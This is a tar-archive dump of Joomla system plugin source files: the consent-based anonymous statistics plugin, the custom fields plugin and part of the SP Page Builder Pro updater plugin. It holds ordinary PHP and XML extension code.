 * @var   array    $options         Options available for this field.
 * @var   array    $statsData       Statistics that will be sent to the stats server
 */

JHtml::_('jquery.framework');
?>
<a href="#" onclick="jQuery(this).next().toggle(200); return false;"><?php echo JText::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
<?php
echo $field->render('stats', compact('statsData'));
                                                                                                                                                                                                                                                                                                      system/stats/layouts/field/uniqueid.php                                                             0000705                 00000004407 15242051520 0014344 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 */
?>
<input type="hidden" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" />
<a class="btn" onclick="document.getElementById('<?php echo $id; ?>').value='';Joomla.submitbutton('plugin.apply');">
	<span class="icon-refresh"></span> <?php echo JText::_('PLG_SYSTEM_STATS_RESET_UNIQUE_ID'); ?>
</a>                                                                                                                                                                                                                                                         system/stats/stats.xml                                                                              0000705                 00000003542 15242051520 0011104 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
	<name>plg_system_stats</name>
	<author>Joomla! Project</author>
	<creationDate>November 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_STATS_XML_DESCRIPTION</description>
	<files>
		<folder>field</folder>
		<folder>layouts</folder>
		<filename plugin="stats">stats.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="data"
					type="plgsystemstats.data"
					label=""
				/>

				<field
					name="unique_id"
					type="plgsystemstats.uniqueid"
					label="PLG_SYSTEM_STATS_UNIQUE_ID_LABEL"
					description="PLG_SYSTEM_STATS_UNIQUE_ID_DESC"
					size="10"
				/>

				<field
					name="interval"
					type="number"
					label="PLG_SYSTEM_STATS_INTERVAL_LABEL"
					description="PLG_SYSTEM_STATS_INTERVAL_DESC"
					filter="integer"
					default="12"
				/>

				<field
					name="mode"
					type="list"
					label="PLG_SYSTEM_STATS_MODE_LABEL"
					description="PLG_SYSTEM_STATS_MODE_DESC"
					default="1"
					>
					<option value="1">PLG_SYSTEM_STATS_MODE_OPTION_ALWAYS_SEND</option>
					<option value="2">PLG_SYSTEM_STATS_MODE_OPTION_ON_DEMAND</option>
					<option value="3">PLG_SYSTEM_STATS_MODE_OPTION_NEVER_SEND</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                              system/stats/stats.php                                                                              0000705                 00000030705 15242051520 0011074 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Uncomment the following line to enable debug mode for testing purposes. Note: statistics will be sent on every page load
// define('PLG_SYSTEM_STATS_DEBUG', 1);

/**
 * Statistics system plugin. This sends anonymous data back to the Joomla! Project about the
 * PHP, SQL, Joomla and OS versions
 *
 * @since  3.5
 */
class PlgSystemStats extends JPlugin
{
	/**
	 * Indicates sending statistics is always allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ALWAYS = 1;

	/**
	 * Indicates sending statistics is only allowed one time.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ONCE = 2;

	/**
	 * Indicates sending statistics is never allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_NEVER = 3;

	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.5
	 */
	protected $db;

	/**
	 * URL to send the statistics.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $serverUrl = 'https://developer.joomla.org/stats/submit';

	/**
	 * Unique identifier for this site
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $uniqueId;

	/**
	 * Listener for the `onAfterInitialise` event
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterInitialise()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

		if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

		if (JUri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

		// Load plugin language files only when needed (ex: they are not needed in site client).
		$this->loadLanguage();

		JHtml::_('jquery.framework');
		JHtml::_('script', 'plg_system_stats/stats.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * User selected to always send data
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendAlways()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ALWAYS);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * User selected to never send data.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params.
	 */
	public function onAjaxSendNever()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_NEVER);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		echo json_encode(array('sent' => 0));
	}

	/**
	 * User selected to send data once.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendOnce()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ONCE);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * Send the stats to the server.
	 * On first load | on demand mode it will show a message asking users to select mode.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendStats()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// User has not selected the mode. Show message.
		if ((int) $this->params->get('mode') !== static::MODE_ALLOW_ALWAYS)
		{
			$data = array(
				'sent' => 0,
				'html' => $this->getRenderer('message')->render($this->getLayoutData())
			);

			echo json_encode($data);

			return;
		}

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * Get the data through events
	 *
	 * @param   string  $context  Context where this will be called from
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function onGetStatsData($context)
	{
		return $this->getStatsData();
	}

	/**
	 * Debug a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function debug($layoutId, $data = array())
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->debug($data);
	}

	/**
	 * Get the data for the layout
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		return array(
			'plugin'       => $this,
			'pluginParams' => $this->params,
			'statsData'    => $this->getStatsData()
		);
	}

	/**
	 * Get the layout paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = JFactory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/' . $this->_type . '/' . $this->_name,
			__DIR__ . '/layouts',
		);
	}

	/**
	 * Get the plugin renderer
	 *
	 * @param   string  $layoutId  Layout identifier
	 *
	 * @return  JLayout
	 *
	 * @since   3.5
	 */
	protected function getRenderer($layoutId = 'default')
	{
		$renderer = new JLayoutFile($layoutId);

		$renderer->setIncludePaths($this->getLayoutPaths());

		return $renderer;
	}

	/**
	 * Get the data that will be sent to the stats server.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	private function getStatsData()
	{
		$data = array(
			'unique_id'   => $this->getUniqueId(),
			'php_version' => PHP_VERSION,
			'db_type'     => $this->db->name,
			'db_version'  => $this->db->getVersion(),
			'cms_version' => JVERSION,
			'server_os'   => php_uname('s') . ' ' . php_uname('r')
		);

		// Check if we have a MariaDB version string and extract the proper version from it
		if (preg_match('/^(?:5\.5\.5-)?(mariadb-)?(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)/i', $data['db_version'], $versionParts))
		{
			$data['db_version'] = $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch'];
		}

		return $data;
	}

	/**
	 * Get the unique id. Generates one if none is set.
	 *
	 * @return  integer
	 *
	 * @since   3.5
	 */
	private function getUniqueId()
	{
		if (null === $this->uniqueId)
		{
			$this->uniqueId = $this->params->get('unique_id', hash('sha1', JUserHelper::genRandomPassword(28) . time()));
		}

		return $this->uniqueId;
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAllowedUser()
	{
		return JFactory::getUser()->authorise('core.admin');
	}

	/**
	 * Check if the debug is enabled
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isDebugEnabled()
	{
		return defined('PLG_SYSTEM_STATS_DEBUG');
	}

	/**
	 * Check if last_run + interval > now
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isUpdateRequired()
	{
		$last     = (int) $this->params->get('lastrun', 0);
		$interval = (int) $this->params->get('interval', 12);
		$mode     = (int) $this->params->get('mode', 0);

		if ($mode === static::MODE_ALLOW_NEVER)
		{
			return false;
		}

		// Never updated or debug enabled
		if (!$last || $this->isDebugEnabled())
		{
			return true;
		}

		return (abs(time() - $last) > $interval * 3600);
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Render a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function render($layoutId, $data = array())
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->render($data);
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function saveParams()
	{
		// Update params
		$this->params->set('lastrun', time());
		$this->params->set('unique_id', $this->getUniqueId());
		$interval = (int) $this->params->get('interval', 12);
		$this->params->set('interval', $interval ?: 12);

		$query = $this->db->getQuery(true)
				->update($this->db->quoteName('#__extensions'))
				->set($this->db->quoteName('params') . ' = ' . $this->db->quote($this->params->toString('JSON')))
				->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
				->where($this->db->quoteName('folder') . ' = ' . $this->db->quote('system'))
				->where($this->db->quoteName('element') . ' = ' . $this->db->quote('stats'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$this->db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $this->db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$this->db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$this->db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Send the stats to the stats server
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 *
	 * @throws  RuntimeException  If there is an error sending the data.
	 */
	private function sendStats()
	{
		try
		{
			// Don't let the request take longer than 2 seconds to avoid page timeout issues
			$response = JHttpFactory::getHttp()->post($this->serverUrl, $this->getStatsData(), null, 2);
		}
		catch (UnexpectedValueException $e)
		{
			// There was an error sending stats. Should we do anything?
			throw new RuntimeException('Could not send site statistics to remote server: ' . $e->getMessage(), 500);
		}
		catch (RuntimeException $e)
		{
			// There was an error connecting to the server or in the post request
			throw new RuntimeException('Could not connect to statistics server: ' . $e->getMessage(), 500);
		}
		catch (Exception $e)
		{
			// An unexpected error in processing; don't let this failure kill the site
			throw new RuntimeException('Unexpected error connecting to statistics server: ' . $e->getMessage(), 500);
		}

		if ($response->code !== 200)
		{
			$data = json_decode($response->body);

			throw new RuntimeException('Could not send site statistics to remote server: ' . $data->message, $response->code);
		}

		return true;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' : $this->app->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
                                                           system/fields/fields.php                                                                            0000705                 00000031375 15242051520 0011320 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\Registry\Registry;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

/**
 * Fields Plugin
 *
 * @since  3.7
 */
class PlgSystemFields extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Normalizes the request data.
	 *
	 * @param   string  $context  The context
	 * @param   object  $data     The object
	 * @param   Form    $form     The form
	 *
	 * @return  void
	 *
	 * @since   3.8.7
	 */
	public function onContentNormaliseRequestData($context, $data, Form $form)
	{
		if (!FieldsHelper::extract($context, $data))
		{
			return true;
		}

		// Loop over all fields
		foreach ($form->getGroup('com_fields') as $field)
		{
			if ($field->disabled === true)
			{
				/**
				 * Disabled fields should NEVER be added to the request as
				 * they should NEVER be added by the browser anyway so nothing to check against
				 * as "disabled" means no interaction at all.
				 */

				// Make sure the data object has an entry before delete it
				if (isset($data->com_fields[$field->fieldname]))
				{
					unset($data->com_fields[$field->fieldname]);
				}

				continue;
			}

			// Make sure the data object has an entry
			if (isset($data->com_fields[$field->fieldname]))
			{
				continue;
			}

			// Set a default value for the field
			$data->com_fields[$field->fieldname] = false;
		}
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The table
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterSave($context, $item, $isNew, $data = array())
	{
		// Check if data is an array and the item has an id
		if (!is_array($data) || empty($item->id) || empty($data['com_fields']))
		{
			return true;
		}

		// Create correct context for category
		if ($context == 'com_categories.category')
		{
			$context = $item->extension . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			$item->catid = $item->id;
		}

		// Check the context
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return true;
		}

		// Compile the right context for the fields
		$context = $parts[0] . '.' . $parts[1];

		// Loading the fields
		$fields = FieldsHelper::getFields($context, $item);

		if (!$fields)
		{
			return true;
		}

		// Loading the model
		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));

		// Loop over the fields
		foreach ($fields as $field)
		{
			// Determine the value if it is (un)available from the data
			if (key_exists($field->name, $data['com_fields']))
			{
				$value = $data['com_fields'][$field->name] === false ? null : $data['com_fields'][$field->name];
			}
			// Field not available on form, use stored value
			else
			{
				$value = $field->rawvalue;
			}

			// If no value set (empty) remove value from database
			if (is_array($value) ? !count($value) : !strlen($value))
			{
				$value = null;
			}

			// JSON encode value for complex fields
			if (is_array($value) && (count($value, COUNT_NORMAL) !== count($value, COUNT_RECURSIVE) || !count(array_filter(array_keys($value), 'is_numeric'))))
			{
				$value = json_encode($value);
			}

			// Setting the value for the field and the item
			$model->setFieldValue($field->id, $item->id, $value);
		}

		return true;
	}

	/**
	 * The save event.
	 *
	 * @param   array    $userData  The date
	 * @param   boolean  $isNew     Is new
	 * @param   boolean  $success   Is success
	 * @param   string   $msg       The message
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterSave($userData, $isNew, $success, $msg)
	{
		// It is not possible to manipulate the user during save events
		// Check if data is valid or we are in a recursion
		if (!$userData['id'] || !$success)
		{
			return true;
		}

		$user = JFactory::getUser($userData['id']);

		$task = JFactory::getApplication()->input->getCmd('task');

		// Skip fields save when we activate a user, because we will lose the saved data
		if (in_array($task, array('activate', 'block', 'unblock')))
		{
			return true;
		}

		// Trigger the events with a real user
		$this->onContentAfterSave('com_users.user', $user, false, $userData);

		return true;
	}

	/**
	 * The delete event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDelete($context, $item)
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts || empty($item->id))
		{
			return true;
		}

		$context = $parts[0] . '.' . $parts[1];

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel');

		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));
		$model->cleanupValues($context, $item->id);

		return true;
	}

	/**
	 * The user delete event.
	 *
	 * @param   stdClass  $user    The context
	 * @param   boolean   $succes  Is success
	 * @param   string    $msg     The message
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterDelete($user, $succes, $msg)
	{
		$item     = new stdClass;
		$item->id = $user['id'];

		return $this->onContentAfterDelete('com_users.user', $item);
	}

	/**
	 * The form event.
	 *
	 * @param   JForm     $form  The form
	 * @param   stdClass  $data  The data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		$context = $form->getName();

		// When a category is edited, the context is com_categories.categorycom_content
		if (strpos($context, 'com_categories.category') === 0)
		{
			$context = str_replace('com_categories.category', '', $context) . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			if (is_array($data) && key_exists('id', $data))
			{
				$data['catid'] = $data['id'];
			}

			if (is_object($data) && isset($data->id))
			{
				$data->catid = $data->id;
			}
		}

		$parts = FieldsHelper::extract($context, $form);

		if (!$parts)
		{
			return true;
		}

		$input = JFactory::getApplication()->input;

		// If we are on the save command we need the actual data
		$jformData = $input->get('jform', array(), 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		FieldsHelper::prepareForm($parts[0] . '.' . $parts[1], $form, $data);

		return true;
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterTitle($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 1);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentBeforeDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 2);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 3);
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context      The context
	 * @param   stdClass  $item         The item
	 * @param   Registry  $params       The params
	 * @param   integer   $displayType  The type
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	private function display($context, $item, $params, $displayType)
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return '';
		}

		// If we have a category, set the catid field to fetch only the fields which belong to it
		if ($parts[1] == 'categories' && !isset($item->catid))
		{
			$item->catid = $item->id;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		if (is_string($params) || !$params)
		{
			$params = new Registry($params);
		}

		$fields = FieldsHelper::getFields($context, $item, $displayType);

		if ($fields)
		{
			$app = Factory::getApplication();

			if ($app->isClient('site') && Multilanguage::isEnabled() && isset($item->language) && $item->language == '*')
			{
				$lang = $app->getLanguage()->getTag();

				foreach ($fields as $key => $field)
				{
					if ($field->language == '*' || $field->language == $lang)
					{
						continue;
					}

					unset($fields[$key]);
				}
			}
		}

		if ($fields)
		{
			foreach ($fields as $key => $field)
			{
				$fieldDisplayType = $field->params->get('display', '2');

				if ($fieldDisplayType == $displayType)
				{
					continue;
				}

				unset($fields[$key]);
			}
		}

		if ($fields)
		{
			return FieldsHelper::render(
				$context,
				'fields.render',
				array(
					'item'            => $item,
					'context'         => $context,
					'fields'          => $fields
				)
			);
		}

		return '';
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepare($context, $item)
	{
		// Check property exists (avoid costly & useless recreation), if need to recreate them, just unset the property!
		if (isset($item->jcfields))
		{
			return;
		}

		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		// Get item's fields, also preparing their value property for manual display
		// (calling plugins events and loading layouts to get their HTML display)
		$fields = FieldsHelper::getFields($context, $item, true);

		// Adding the fields to the object
		$item->jcfields = array();

		foreach ($fields as $key => $field)
		{
			$item->jcfields[$field->id] = $field;
		}
	}

	/**
	 * The finder event.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onPrepareFinderContent($item)
	{
		$section = strtolower($item->layout);
		$tax     = $item->getTaxonomy('Type');

		if ($tax)
		{
			foreach ($tax as $context => $value)
			{
				// This is only a guess, needs to be improved
				$component = strtolower($context);

				if (strpos($context, 'com_') !== 0)
				{
					$component = 'com_' . $component;
				}

				// Transform com_article to com_content
				if ($component === 'com_article')
				{
					$component = 'com_content';
				}

				// Create a dummy object with the required fields
				$tmp     = new stdClass;
				$tmp->id = $item->__get('id');

				if ($item->__get('catid'))
				{
					$tmp->catid = $item->__get('catid');
				}

				// Getting the fields for the constructed context
				$fields = FieldsHelper::getFields($component . '.' . $section, $tmp, true);

				if (is_array($fields))
				{
					foreach ($fields as $field)
					{
						// Adding the instructions how to handle the text
						$item->addInstruction(FinderIndexer::TEXT_CONTEXT, $field->name);

						// Adding the field value as a field
						$item->{$field->name} = $field->value;
					}
				}
			}
		}

		return true;
	}

	/**
	 * Prepares a tag item to be ready for com_fields.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  object
	 *
	 * @since   3.8.4
	 */
	private function prepareTagItem($item)
	{
		// Map core fields
		$item->id       = $item->content_item_id;
		$item->language = $item->core_language;

		// Also handle the catid
		if (!empty($item->core_catid))
		{
			$item->catid = $item->core_catid;
		}

		return $item;
	}
}
                                                                                                                                                                                                                                                                   system/fields/fields.xml                                                                            0000705                 00000001406 15242051520 0011321 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="system" method="upgrade">
	<name>plg_system_fields</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_SYSTEM_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_fields.ini</language>
		<language tag="en-GB">en-GB.plg_system_fields.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                          system/sppagebuilderproupdater/sppagebuilderproupdater.php                                          0000705                 00000003233 15242051520 0020464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2016 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

//no direct accees
defined ('_JEXEC') or die ('restricted access');

jimport('joomla.plugin.plugin');
jimport('joomla.event.plugin');
jimport('joomla.registry.registry');

class  plgSystemSppagebuilderproupdater extends JPlugin
{

    public function onExtensionAfterSave($option, $data) {

        if ( ($option == 'com_config.component') && ( $data->element == 'com_sppagebuilder' ) ) {

            $params = new JRegistry;
            $params->loadString($data->params);
            
            $email       = $params->get('joomshaper_email');
            $license_key = $params->get('joomshaper_license_key');

            if(!empty($email) and !empty($license_key) )
            {

                $extra_query = 'joomshaper_email=' . urlencode($email);
                $extra_query .='&amp;joomshaper_license_key=' . urlencode($license_key);

                $db = JFactory::getDbo();
                
                $fields = array(
                    $db->quoteName('extra_query') . '=' . $db->quote($extra_query),
                    $db->quoteName('last_check_timestamp') . '=0'
                );

                // Update site
                $query = $db->getQuery(true)
                    ->update($db->quoteName('#__update_sites'))
                    ->set($fields)
                    ->where($db->quoteName('name').'='.$db->quote('SP Page Builder'));
                $db->setQuery($query);
                $db->execute();
            }
        }
    }

}                                                                                                                                                                                                                                                                                                                                                                     system/sppagebuilderproupdater/sppagebuilderproupdater.xml                                          0000705                 00000001324 15242051520 0020474 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="system" method="upgrade">
    <name>System - SP Page Builder Pro Updater</name>
    <author>JoomShaper.com</author>
    <creationDate>Jul 2015</creationDate>
    <copyright>Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
